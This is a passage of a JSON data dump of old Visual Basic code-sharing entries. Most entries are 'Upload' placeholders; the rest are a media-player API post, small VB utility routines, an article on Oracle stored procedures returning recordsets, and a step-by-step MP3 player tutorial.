Joling\n"},{"WorldId":1,"id":32216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14308,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10628,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META NAME=\"GENERATOR\" Content=\"Microsoft Visual Studio 6.0\">\n<TITLE></TITLE>\n</HEAD>\n<BODY>\nHello Members planet source code.\n Now Version 5.0 not Update \nIIII.\nAre you search for Player for All Multimedia Files including mp3,mpg..etc just via PURE windows API (no any OCXs) \n.\nWhat new in this version?\n1-In this version there were common \nerrors in Windows 2000 was repaired (now the code useful for win2000).\n2-I added Function for Channels Audio \nControl.\nyou can here \nplay on Left channel audio file and on right channel another audio file at the \nsame time Or:\nplay the file \ntwo times at the same time one on the left and the another on the right. \n\n \n ┬á\nAnd also make the following controls just via API:\n1-Open most multimmedia files. 2-Playing it\n3-Pause it\n4- Stop it\n5-Resume it\n6-Close it\n7-Get Current position(current frame)\n8-Get current time\n9-Get Percent of playing file\n10-make it auto Repeat\n11-Get Total frames\n12- Get Total Time\n13-Get the Status of file if it \"playing or stopped or \npaused\"\n14-Get actual size \n(new).\n15-Get current size \n(new).\n16-Resize the movie.\n17-Get number frames per second\n18-let you know if multimedia at the end \nnow\n<A \nhref=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9783\">http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9783</A>\n(there are Module for Standard use and has \nready functions)\nWritten once to use it every time.\nEnjoy to Make your own \nPlayer.\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":22108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11375,"LineNumber":1,"line":"Private Sub Timer1_Timer()\nIf GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyO) Then\nMsgBox \"It works :)\"\nEnd If\nEnd Sub\n'this example use the Control Key and O key as hotkey but you can use that key and how many keys you want alle the key codes you will find in the vb help under key code constants"},{"WorldId":1,"id":21209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27012,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21113,"LineNumber":1,"line":"Public Sub Sort(ByRef SortArray() As String, ByVal MaxRow As Integer, Optional ByVal MinRow As Integer = 1)\n' Does a shell sort - fairly fast, and flexible\n' In this case, sorts strings, but can easily be modified \n' To suit other data types - simply change the definition of SortArray()\n' and the next line, to the data type of your choice.\nDim TempSwap As String\nDim Offset As Integer\nDim Switch As Integer\nDim Limit As Integer\nDim Row As Integer\n' Set comparison offset to half the number of records in SortArray:\nOffset = (MaxRow - MinRow + 1) \\ 2\nDo While Offset > 0 ' Loop until offset gets to zero.\n Limit = MaxRow - Offset\n Do\n Switch = 0 ' Assume no switches at this offset.\n ' Compare elements and switch ones out of order:\n For Row = MinRow To Limit\n If UCase(SortArray(Row)) > UCase(SortArray(Row + Offset)) = True Then\n TempSwap = SortArray(Row)\n SortArray(Row) = SortArray(Row + Offset)\n SortArray(Row + Offset) = TempSwap\n Switch = Row\n End If\n Next Row\n ' Sort on next pass only to where last switch was made:\n Limit = Switch - Offset\n Loop While Switch\n ' No switches at last offset, try one half as big:\n Offset = Offset \\ 2\nLoop\nEnd Sub"},{"WorldId":1,"id":14298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25300,"LineNumber":1,"line":"Public Sub TVLines(PictBox As PictureBox, Optional Direction As Integer, Optional Opacity As Long)\nDim i As Long, k As Long, r As Long, g As Long, b As Long, pixel As Long, pix As Long\nIf IsMissing(Opacity) Then Opacity = 25\nIf IsMissing(Direction) Then Direction = 1\nOpacity = Opacity * 2.55\nOpacity = Round(Opacity)\nFor k = 0 To PictBox.ScaleHeight - 1\n For i = 0 To PictBox.ScaleWidth - 1\n 'get current pixel\n pixel = GetPixel(PictBox.HDC, i, k)\n \n 'get rgb values of the pixel\n r = TakeRGB(pixel, 0)\n g = TakeRGB(pixel, 1)\n b = TakeRGB(pixel, 2)\n \n 'the code alternates lightness/darkness each line\n If Direction = 1 Then\n pix = k\n Else\n pix = i\n End If\n \n If pix / 2 = Int(pix / 2) Then\n r = IIf(r - Opacity < 0, 0, r - Opacity)\n g = IIf(g - Opacity < 0, 0, g - Opacity)\n b = IIf(b - Opacity < 0, 0, b - Opacity)\n Else\n r = IIf(r + Opacity > 255, 255, r + Opacity)\n g = IIf(g + Opacity > 255, 255, g + Opacity)\n b = IIf(b + Opacity > 255, 255, b + Opacity)\n End If\n \n 'set new pixel\n SetPixel PictBox.HDC, i, k, RGB(r, g, b)\n Next i\n PictBox.Refresh\nNext k\nPictBox.Refresh\nEnd Sub\n'just a function to get rgb values of a pixel\n'I borrowed it from Jongmin Baek's Drawer (an exellect program, btw)\nFunction TakeRGB(Colors As Long, Index As Long) As Long\nIndexColor = Colors\nRed = IndexColor - Int(IndexColor / 256) * 256: IndexColor = (IndexColor - Red) / 256\nGreen = IndexColor - Int(IndexColor / 256) * 256: IndexColor = (IndexColor - Green) / 256\nBlue = IndexColor\nIf Index = 0 Then TakeRGB = Red\nIf Index = 1 Then TakeRGB = Green\nIf Index = 2 Then TakeRGB = Blue\nEnd Function"},{"WorldId":1,"id":12423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13275,"LineNumber":1,"line":"Function ListIsIn(lst As ListBox, zString As String) As Boolean\nOn Error Resume Next\nFor i = 0 To lst.ListCount\n If lst.List(i) = zString Then ListIsIn = True: GoTo grr\nNext i\nListIsIn = False\ngrr:\nEnd Function"},{"WorldId":1,"id":13276,"LineNumber":1,"line":"Sub ReportAddTo(lst As ListView, zString As String)\nDim bleh As ListItem\n'zString = \"One*Two*Three*Four*Five\"\nOn Error Resume Next\n\nSet bleh = lst.ListItems.Add(, , Split(zString, \"*\")(0))\n \nFor i = 1 To 200\n bleh.SubItems(i) = Split(zString, \"*\")(i)\nNext i\n\nEnd Sub"},{"WorldId":1,"id":22479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20972,"LineNumber":1,"line":"AAAAAAAAArrrrrrrrggggggggggghhhhhhhhhhhhh!!!!!!!!!!!!\nSo you want to write stored procedures in Oracle that return recordsets. Actually no big deal. The problem comes in when you have the wrong ODBC driver (mostly) or a version of Oracle that does not support what you are doing. The actual mechanism of obtaining the recordset itself is quite simple. If this article seems too technical or convoluted, accept my apologies in advance. The zipped sample code files should be fairly easy to follow. I recommend looking at them as you read this article. It will make a lot more sense.\nThe first and foremost question is “What version of Oracle DB Server do you have?”\nIf the answer is 8.0.5 or higher……read on. Lower versions of Oracle do not return recordsets from within stored procedures (SP for the remainder of this article). The way you retreive recordsets in 8.0.5 is also more cumbersome, less flexible and has lesser features than 8.1.5.\nThe basic premise is that the first (absolute must) parameter of your stored procedure is an IN OUT and is a ref cursor type variable. Within Oracle you have something known as typing. Your cursor variable may be weak typed meaning that it can contain the contents of any SQL query and thus the number and type of columns/returned fields need not be known (Oh my God…just like a VB recordset…Yeeeehaaahh)……or your cursor may be strong typed meaning that it is pre-defined as being based on a query. The first type is used in 8.1.5 and is great and eliminates some trouble. In 8.1.5, you can have a weak cursor based user-defined type as an IN OUT parameter. This way, when you open the cursor using the following syntax:\n\tOpen \tpo_udtXYZ for\n\tSelect \tfield1, field2, field3\n\tFrom\ttable1, table 2\n\tWhere\tcondition1\n\tAnd \tcondition 2\n\tAnd \tfield 3 = passed in parameter;\nthe cursor is returned back to VB as and ADO recordset and contains fields 1, 2 and 3.\nIn 8.0.5 it is not so simple and requires that you write the same query shown above (minus the where clause) and declare it as a cursor within your package header. Then you create a user defined type using the %Rowtype of that cursor. Then your parameter is an IN OUT based on this “strong” user-defined type. This is fairly cumbersome and requires maintenance of the query in two locations.\nDynamic SQL: This can be done only in 8.1.5. The syntax is as follows:\n\tOpen \tpo_udtXYZ for\n\t‘Select \tfield1, field2, field3\n\tFrom\ttable1, table 2\n\tWhere\tcondition1\n\tand \tcondition 2 ’||’ dynamic clause passed in as parameter goes here’;\nNote that the Select clause is enclosed in single quotes and the last statement (after the pipe concatenator used in Oracle) is a dynamic clause constructed outside, somewhere in VB or maybe another stored procedure and passed in as a parameter.\nI have tested it and found not much of a lag in time for dynamic vs. non dynamic SQL…The thing to remember is that the dynamic SQL query is compiled at run-time and therefore you lose some of the speed benefits of having your query in a Stored Procedure. This may become more obvious if the passed parameter is a fairly complex set of clauses.\nCompatibility issues: If you are using Oracle 8.0.5, make sure you are using the 8.0.5 driver. If you are using 8.1.5, the 8.1.56 ODBC driver should be used. The 8.1.5 driver had 2 updates to it… the 8.1.55 and then 8.1.56. The 8.1.56 is what you want. It fixes several problems, including the ability to run autonomous transactions (phased commits) and the ability to call a stored procedure from VB that is not in your schema but declared as a public synonym (This one had me in the loop for 3 days before I called Oracle).\nOn a separate note: I have recently used autonomous transactions as a way to report back to the user, what is going on in the database. The primary concern when running a stored procedure that is time intensive is the loss of control on the user’s machine and the need to give feedback (other than an hourglass) to the user. To do this, we made a status bar that pings the database and runs an inline SQL query to read the results of a Load Control table for a loadID passed to the status bar. The main stored procedure is also passed the same load ID and updates the load control table at various points within its code by calling another stored procedure. Here is the kink. Unless you commit, how do you see the results elsewhere and if you commit, you cannot rollback your main line stored procedure. This is where autonomous transactions are extremely useful. There are some quirks with distributed transactions and autonomous transactions (They do not like each other). These quirks and how to construct an autonomous transaction will be written in the next article. Until then, hopefully the enclosed examples should be helpful. If there are any questions feel free to email me.\n"},{"WorldId":1,"id":26022,"LineNumber":1,"line":"<html>\n<head>\n</head>\n<body>\nWelcome! \n\nIn the tutorial I will try to explain how to make your own mp3 player using the\nMedia Player control. \nIt will be a fully featured audio player with a playlist and options like:\n"Repeat" and "Random Play". \n \nGray Text = Things to do! \nBlue Text = Source Code \nRed Text = Information about the code\netc... \n<hr noshade color=\"#000000\">\n1) Start VB \n2) Press CTRL + T \n3) Insert: Windows Media Player Control, Microsoft Common Dialog Control and Microsoft\nWindows Common Controls. \n4) Put on your form: 6 Command buttons (Playback), A Label (Time Label), A\nTextbox, 2 Sliders (Volume and seekbar), A Listbox (PLS) \n5) Set the Media Player Control Invisible.\n<hr noshade color=\"#000000\">\nThe first thing we'll have\nto do is making a "Open File" button. This way a user is able to\nchoose an audio file. \nSelect one of the 6 command\nbuttons you've created earlier in this tutorial and put the following code on\nit.\nOn Error Resume Next \nCommonDialog1.Filter = \"Audio Files|*.wav;*.mid;*.mp3;mp2;*.mod|\" \nCommonDialog1.Flags = cdlOFNHideReadOnly \nCommonDialog1.CancelError = True \nCommonDialog1.DialogTitle = \"Choose an mediafile to open\" \nCommonDialog1.FileName = \"\" \nCommonDialog1.ShowOpen \n \nList1.AddItem CommonDialog1.FileName \nList1.ListIndex = List1.ListIndex + 1 \nMediaPlayer1.FileName = CommonDialog1.FileName \nText1.Text = CommonDialog1.Filename\nLine1: Prevents the program\nfrom giving errors \nLine2: It will display only mp3,\nwav, mid files etc... \nLine3: This will remove the "Read Only" checkbox at the end of the open\ndialog \nLine4: This will handle the error you get if you click the cancel button \nLine5: This will set the text between the "..." on the titlebar of the\nopen dialog \nLine5: This will show the open dialog \nLine6: An Empty Line! \nLine7: This will put the file\nyou've selected in the listbox (Used as playlist Control) \nLine8: This will select the file you've chosen in the PlayList \nLine9: This tells the Media Player Control which file it needs to play \nLine10: Put the name of the file we're going to play in the "Filename"\ntextbox.\n<hr noshade color=\"#000000\">\nNow that we're playing a\nfile we can put other code in our player such as "Play Selected\nTrack"... \nSelect one of the 5\ncommand buttons you've created earlier in this tutorial and put the following\ncode on it.\nOn Error Resume Next \nMediaPlayer1.FileName = List1.Text \nMediaplayer1.Play \ntext1.text =\nmediaplayer1.filename\nLine1: Prevents the program\nfrom giving errors \nLine2: The first line tells the Media Player Control the filename. In this case\nthe selected item in the PlayList. \nLine3: The second line tells the control that it must play the filename which\nwas set above \nLine4: Put the name of the file we're going to play in the "Filename"\ntextbox.\n<hr noshade color=\"#000000\">\nI don't know what you think,\nBut I'd like to be able to Pause the playing track :-) \nSelect one of the 4 command\nbuttons you've created earlier in this tutorial and put the following code on\nit.\nOn Error Resume Next \nIf MediaPlayer1.PlayState = mpPlaying Then \nMediaPlayer1.Pause \nElse \nMediaPlayer1.Play \nEnd If\nLine1: Prevents the program\nfrom giving errors \nLine2: If the Media Control is\nplaying a file then... \nLine3: Pause the playing file! \nLine4: Else. If it's not playing a file. So it's either stoped or already\npaused... \nLine5: Play the file which is still in the memory of the Media Player Control.\n<hr noshade color=\"#000000\">\nEvery audio player contains\na stop button. Well here's the code for it... \nSelect one of the 3 command\nbuttons you've created earlier in this tutorial and put the following code on\nit.\nOn Error Resume Next \nMediaplayer1.stop\nLine1: Prevents the program\nfrom giving errors \nLine2: Stop playing the current\nfile.\n<hr noshade color=\"#000000\">\nWell, If a player contains a\nPlayList I'd like to be able to switch between my tracks. Here's the\n"Previous Track" code. \nSelect one of the 2 command\nbuttons you've created earlier in this tutorial and put the following code on\nit.\nOn Error Resume Next \nList1.ListIndex = List1.ListIndex - 1 \nMediaPlayer1.FileName = List1.Text \nMediaPlayer1.Play \ntext1.text =\nmediaplayer1.filename\n\nLine1: Prevents the program\nfrom giving errors \nLine2: This will go one item back from the selected item. \nLine3: \nThis tells the Media Player Control which file it needs to play \nLine4: Say to the Media Player control : Play the file I've set above! \nLine5: Put the name of the file we're going to play in the "Filename"\ntextbox.\n<hr noshade color=\"#000000\">\nWell, If a player contains a\nPlayList I'd like to be able to switch between my tracks. Here's the "Next\nTrack" code. \nSelect the last\ncommandbutton that's left and put the following code on it.\nOn Error Resume Next \nList1.ListIndex = List1.ListIndex + 1 \nMediaPlayer1.FileName = List1.Text \nMediaPlayer1.Play \ntext1.text =\nmediaplayer1.filename\nLine1: Prevents the program\nfrom giving errors \nLine2: This will go one item further than the selected item. \nLine3: Tell the Media Player control which file it needs to load. In this case the\nselected item in the PlayList. \nLine4: Play the file! \nLine5: Put the name of the file we're going to play in the "Filename"\ntextbox.\n<hr noshade color=\"#000000\">\nNow that the PlayBack\ncontrols are done we can add some more code to our player. \nPut the following code in your form. It's a function which is called in the next Sub.\nFunction ConvertTime(i As Integer) \nSecs = i Mod 60 \nMins = Int(i / 60) Mod 60 \nHours = Int(i / 3600) \nIf Secs < 10 Then Secs = \"0\" & Secs \nIf Mins < 10 Then Mins = \"0\" & Mins \nConvertTime = Hours & \":\" & Mins & \":\" & Secs \nEnd Function\nLine1: This is the name of\nthe function and the statement which tells VB it's a function. \nLine2: We make a variable named secs which converts I (which is specified when\nthe function is called) to seconds \nLine3: We make a variable named mins which converts I to minutes \nLine4: We make a variable which hours which converts I to hours \nLine5: If the number of seconds is less the then we put a 0 before the seconds\nlike this: 01,02,03 etc... \nLine6: The same as above but now with minutes \nLine7: Now we update the sub with the output format which you can get in the\nnext sub. \nLine8: The end of this function :-(\n<hr noshade color=\"#000000\">\nNow that you've placed the\nabove function in your code we're ready to call it. \nInsert a Timer\nControl in your project and put the following code on it. Don't forget to set\nit's interval to: "1000". \nInterval="1000": This means that the timer will update the Timer\nWindow every second.\nIf MediaPlayer1.PlayState = mpPlaying Then \nLabel1.Caption = ConvertTime(Round(MediaPlayer1.CurrentPosition, 0)) & \" / \" & ConvertTime(Round(MediaPlayer1.Duration, 0)) \nElse \nLabel1.Caption = "00:00:00 / 0:00:00\" \nEnd If\nLine1: Are we playing\na file ? \nLine2: If we are playing a file update the Timer Window every second with the\ntime of the file you're playing \nLine3: If we are not playing a file... \nLine4: Put the following text in your Timer Window: "00:00:00 /\n00:00:00" \nLine5: Stop our check function\nNote: The time of the file\nwill be showed like this: "03:46:13 / 04:12:34" \nThe "03:46:13" indicates the current playing time and\n"04:12:34" indicates the total time of the file.\n<hr noshade color=\"#000000\">\nWe have playback controls, a\nPlayList and a Timer Window but we don't have a seekbar yet! \nInsert a Timer Control in\nyour project and put the following code on it. Don't forget to set it's interval\nto: "1000". \nInterval="1000": This means that the timer will update the Seekbar\ncontrol's position every second.\nOn Error Resume Next \nSlider1.Max = MediaPlayer1.Duration \nSlider1.Value = MediaPlayer1.CurrentPosition\nLine1: Prevents the program\nfrom giving errors \nLine2: The Maximum value of the slider is the duration of the file we're playing \nLine3: Update the position of the slider to the current position of the Media\nPlayer Control\n<hr noshade color=\"#000000\">\nWe're not ready with our\nslider yet because we want to change the position of the track when moving\nthe slider. \nPut the following code in\nthe Slider1_Scroll() function.\nOn Error Resume next \nMediaPlayer1.CurrentPosition = Slider1.Value\nLine1: Prevents the program\nfrom ginving errors \nLine2: Update the position of the file we're playing to the slider's position.\nEasy huh?\n<hr noshade color=\"#000000\">\nEarlier in this tutorial I\nsaid you had to put 2 slider control's on your form. \nWell, We've already used 1 slider so now we're going to use the second one. This\none is for the Volume Control. \nPut the following code in\nthe Slider2_Scroll() function and set the Max Value of the slider to: "2500"\nDim a As Integer, b As Integer \nDim d, c \nc = Slider2.Value - 2500 \nMediaPlayer1.Volume = c \nb = Slider2.Min \na = Slider2.Value\nLine1: Make 2 variables\ncalled "a" and "b" and say to VB they are an Integer. \nLine2: Set variable "D" and "C" \nLine3: Update variable c with Slider2's value - 2500 \nLine4: Set the volume of the Media Player control from Slider2's value \nLine5: Variable "b" is The Minium Value of Slider 2 \nLine6: Variable "a" is the Maximum Value of Slider 2\n<hr noshade color=\"#000000\">\nWell, Just to make sure a\nfew things you need to place this code in the Form itself. \nPut the following code in\nthe Form_Load function.\ntimer1.interval = 1000 \ntimer2.interval = 1000 \nSlider2.Max = 2500\nLine1: Set the interval of\nTimer1 to "1000" in case you forgot :-) \nLine2: Set the interval of Timer2 to "1000" in case you forgot :-) \nLine3: Set the maximum value of the volume slider to "2500" in case\nyou forgot :-)\n<hr noshade color=\"#000000\">\nCongratulations! You're\nAudio Player is now ready! \nYou will find some more useful code for it below...\n<hr noshade color=\"#000000\">\nIf you want to have an\n"Mute" option in your Audio Player use the following code.\nIf MediaPlayer1.Mute = True Then \nMediaPlayer1.Mute = False \nElse \nMediaPlayer1.Mute = True \nEnd If\nLine1: If the sound is muted\nthen... \nLine2: UnMute the sound! \nLine3: Mute the sound because it's not muted yet! \nLine4: Stop the check function\n<hr noshade color=\"#000000\">\nYour audio player contains a\nPlayList but why would you need a PlayList if it cannot contain more than 1\nfile. \nHere's the code to add files to your PlayList.\nOn Error Resume Next \nCommonDialog1.Filter = \"Audio Files|*.wav;*.mid;*.mp3;mp2;*.mod|\" \nCommonDialog1.Flags = cdlOFNHideReadOnly \nCommonDialog1.CancelError = True \nCommonDialog1.DialogTitle = "Add File" \nCommonDialog1.FileName = \"\" \nCommonDialog1.ShowOpen \n \nList1.AddItem CommonDialog1.FileName\nLine1: Prevents the program\nfrom giving errors \nLine2: It will display only mp3,\nwav, mid files etc... \nLine3: This will remove the "Read Only" checkbox at the end of the open\ndialog \nLine4: This will handle the error you get if you click the cancel button \nLine5: This will set the text between the "..." on the titlebar of the\nopen dialog \nLine6: This will clear the previous selected Filename in the Open Dialog \nLine7: This will show the open dialog \nLine8: An Empty Line! \nLine9: Add the selected file to our PlayList\n<hr noshade color=\"#000000\">\nHere's the code to remove\nthe selected item from your PlayList...\nIf List1.ListIndex > -1 Then \nOn Error Resume Next \nIf list1.text = mediaplayer1.filename then msgbox "You can't remove the\nfile you're playing":exit sub \nList1.RemoveItem List1.ListIndex \nEnd If\nLine1: If the PlayList's\nindex is bigger than -1 go on. This means that there's actually something. \nLine2: Prevents the program\nfrom giving errors \nLine3: If the item you're trying to remove is the current playing item show a\nmsgbox telling the user the item cannot be removed. Also stop the code so it\nwon't be removed. This code\nis needed because it will keep your PlayList working. If you remove this line\nthe player can't determine anymore which file was playing and it won't go next\nanymore from the file you were playing. It starts the list again. \nLine4: Remove the selected line from the PlayList \nLine5: Stop our check function\n<hr noshade color=\"#000000\">\nHere's the code to move the\nselected item in your PlayList one line up.\non error resume next \nDim nItem As Integer \nWith lstItems \nIf List1.ListIndex < 0 Then Exit Sub \nnItem = List1.ListIndex \nIf nItem = 0 Then Exit Sub \nList1.AddItem List1.Text, nItem - 1 \nList1.RemoveItem nItem + 1 \nList1.Selected(nItem - 1) = True \nEnd With\nLine1: Prevents the program\nfrom giving errors \nLine2: Set 'NItem" as variable and tell VB that it's an Integer \nLine3: Tell VB that we're working with the List Items \nLine4: If the List Index is smaller that 0 it can't move up anymore so STOP the\ncode \nLine5: Tell VB that our variable the index of the selected item in our PlayList\nis \nLine6: If the index is 0 STOP because the line can't move up further. \nLine7: Add the listindex text one item before the selected item \nLine8: Remove the current selected item \nLine9: Select the line we've just moved one line up \nLine10: Tell VB we're not working with the List Items anymore\n<hr noshade color=\"#000000\">\nHere's the code to move the\nselected item in your PlayList one line down.\non error resume next \nDim nItem As Integer \nWith lstItems \nIf List1.ListIndex < 0 Then Exit Sub \nnItem = List1.ListIndex \nIf nItem = List1.ListCount - 1 Then Exit Sub \nList1.AddItem List1.Text, nItem + 2 \nList1.RemoveItem nItem \nList1.Selected(nItem + 1) = True \nEnd With\nLine1: Prevents the program\nfrom giving errors \nLine2: Set 'NItem" as variable and tell VB that it's an Integer \nLine3: Tell VB that we're working with the List Items \nLine4: If the List Index is smaller that 0 it can't move up anymore so STOP the\ncode \nLine5: Tell VB that our variable the index of the selected item in our PlayList\nis \nLine6: If the index is at the end of the PlayList it can't go down anymore so\nSTOP the code \nLine7: Add the listindex text one item after the current item. The listbox works\na bit strange so line1 is actually line2 \nLine8: Remove the current selected item \nLine9: Select the line we've just moved one line down \nLine10: Tell VB we're not working with the List Items anymore\n<hr noshade color=\"#000000\">\nHere's the code to clear the\nwhole PlayList...\nask = MsgBox(\"Do you want to clear your list ?\", vbQuestion + vbYesNo, \"Confirm\") \nIf ask = vbYes Then \nList1.clear \nElse \nEnd If\nLine1: We show a Msgbox\nwhich asks the user if he/she really want to clear the PlayList \nLine2: If they answer YES... \nLine3: The PlayList will be cleared \nLine4: If they answer something else...NO in this case! \nLine5: Don't do anything \nLine6: Stop the check function\n<hr noshade color=\"#000000\">\nHere's the code to save your\nPlayList...\nOn Error Resume Next \nCommonDialog1.Filter = \"PlayList File (M3u)|*.m3u|PlayList File\n(Pls)|*.pls" \nCommonDialog1.DialogTitle = "Save List\" \nCommonDialog1.Flags = cdlOFNHideReadOnly \nCommonDialog1.ShowSave \nCommonDialog1.CancelError = True \n \nOpen CommonDialog1.FileName For Output As #1 \nFor X = 0 To List1.ListCount - 1 \nPrint #1, List1.List(X) \nNext X \nClose #1\nLine1: Prevents the program\nfrom giving errors \nLine2: It can only save your PlayList as: "M3u or Pls" \nLine3: This will set the text between the "..." on the titlebar of the\nsave dialog \nLine4: This will remove the "Read Only" checkbox at the end of the\nsave dialog \nLine5: This will show the save dialog \nLine6: This will handle the error you get if you click the cancel button \nLine7: An empty line! \nLine8: Open the selected file and place it in a variable called #1 \nLine9: Make sure we save the whole PlayList \nLine10: Write the contents to the selected file \nLine11: Go on till we have saved all items \nLine12: Close the file\n<hr noshade color=\"#000000\">\nHere's the code to open a\npreviously saved PlayList file...\nOn Error Resume Next \nOn Error GoTo err \nClose #1 \nDim X \nOpenFile: \nCommonDialog1.Filter = \"All Supported|*.m3u;*.pls|" \nCommonDialog1.DialogTitle = "Open List\" \nCommonDialog1.Flags = cdlOFNHideReadOnly \nCommonDialog1.ShowOpen \nCommonDialog1.CancelError = True \nOpen CommonDialog1.FileName For Input As #1 \nList1.clear \nDo \nInput #1, X \nList1.AddItem (X) \nLoop \nClose #1 \nerr: \nExit Sub\nLine1: Prevents the program\nfrom giving errors \nLine2: If there's an error go the a sub called: "err" \nLine3: Close all files so we don't get any errors while trying to open a file \nLine4: A sub called "OpenFile \nLine5: It will display only mp3,\nwav, mid files etc... \nLine6: This will set the text between the "..." on the titlebar of the\nopen dialog \nLine7: This will remove the "Read Only" checkbox at the end of the\nsave dialog \nLine8: This will show the open dialog \nLine9: This will handle the error you get if you click the cancel button \nLine10: Load the file that was selected into the memory as variable #1 \nLine11: Clear the list before adding new items in it \nLine12: Do function \nLine13: Load all contents into variable X \nLine14: Add X to our PlayList \nLine15: Gon on till we have placed all files in our PlayList \nLine16: Close the files which was opened \nLine17: Error Handler sub which is called above \nLine18: Stop the code. If case there's an error\n<hr noshade color=\"#000000\">\nHere's the code to repeat\nthe current playing file... \nInsert a checkbox on your\nform. Add the following code in the "EndOfStream" function of the\nMedia Player control.\nif check1.value = 1 then \nmediaplayer1.play \nelse \nend if\nLine1: If the checkbox is\nchecked... \nLine2: Play the file again! \nLine3: If it's not checked... \nLine4: Stop our check function\n<hr noshade color=\"#000000\">\nHere's the code to stop\nplaying after the current playing track... \nPut a checkbox on your\nform. Add the following code in the "EndOfStream" function of the\nMedia Player control.\nif check2.value = 1 then \nmediaplayer1.stop \nelse \nend if\nLine1: If the checkbox is\nchecked... \nLine2: Stop Playing! \nLine3: If it's not checked... \nLine4: Stop our check function\n<hr noshade color=\"#000000\">\nHere's the code to play\nnormal. After it's done it will start playing the next track in your PlayList. \nPut a checkbox on your\nform. Add the following code in the "EndOfStream" function of the\nMedia Player control.\nif check3.value = 1 then \nlist1.listindex = list1.listindex + 1 \nmediaplayer1.filename = list1.text \nmediaplayer1.play \ntext1.text = mediaplayer1.filename \nelse \nend if\nLine1: If the checkbox is\nchecked... \nLine2: Select the next line in the PlayList from the selected item. \nLine3: Tell the Media Player Control that it needs to load the selected item in\nthe PlayList \nLine4: Play the loaded file \nLine5: Update our Filename Window with the current playing track \nLine6: If it's not checked... \nLine7: Stop our check function\n<hr noshade color=\"#000000\">\nA very important thing that\nyou must do is the following... \nYou must make a function\nthat will select the current playing track every time it's done playing. \nIf you don't do this the player will play the next track from the item you've\nselected and not from the file you're playing. \nPut the following code in the "EndOfStream" function of the Media\nPlayer control...\nfilename.text =\nmediaplayer1.filename\nLine1: Put the filename of\nthe current played track in a textbox so we can look it up later. \nNow add the following code\nin the "_Change" function of the textbox called "filename".\nIf Trim(filename.Text) <> \"\" Then \nFor i = 0 To List1.ListCount - 1 \nIf Left(List1.List(i), Len(Trim(filename.Text))) = Trim(filename.Text) Then \nList1.Selected(i) = True \nElse \nList1.Selected(i) = False \nEnd If \nNext i \nEnd If\nLine1: Check if the textbox\ncontains some text \nLine2: Search the whole list \nLine3: Search the list for contents of the textbox \nLine4: If it's found select the item that was found --> Now the player goes\nnext from this selected item. This was the playing item! \nLine5: If it was not found don't select anything. But the file is always found\nbecause you were playing it :-) \nLine6: Stop check function \nLine7: Go on till end of PlayList \nLine8: Stop check function\n<hr noshade color=\"#000000\">\nI hope you know how you can\nmake your own Mp3 Player after reading this tutorial. \nPlease, Send as much feedback as you want and DON'T\nVORGET TO VOTE FOR MY WORK! \n \nSome people are complaining about using the Media Player Control but I don't\ncare. \nAs long as we have fun with it it's good, and another great thing is that you\ndon't have to use WinAmp anymore :-)\nSince English is not my\nPrimary Language there can be some spelling faults in it. \nPlease, Report them and I'll fix it. Dutch is my primary language...\nEnjoy your own Mp3 Player !!\nKEVIN, \n<a href=\"mailto:kevin_verp@hotpop.com\">kevin_verp@hotpop.com</a>\n</body>\n</html>"},{"WorldId":1,"id":24091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10567,"LineNumber":1,"line":"Sub Form_3D(frmForm As Form,LineWidth as long)\nConst cPi = 3.1415926 'Perfect\nDim intLineWidth As Integer\nintLineWidth = linewidth\nDim intSaveScaleMode As Integer\nintSaveScaleMode = frmForm.ScaleMode\nfrmForm.ScaleMode = 3\nDim intScaleWidth As Integer\nDim intScaleHeight As Integer\nintScaleWidth = frmForm.ScaleWidth\nintScaleHeight = frmForm.ScaleHeight\nfrmForm.Cls\nfrmForm.Line (0, intScaleHeight)-(intLineWidth, 0), &HFFFFFF, 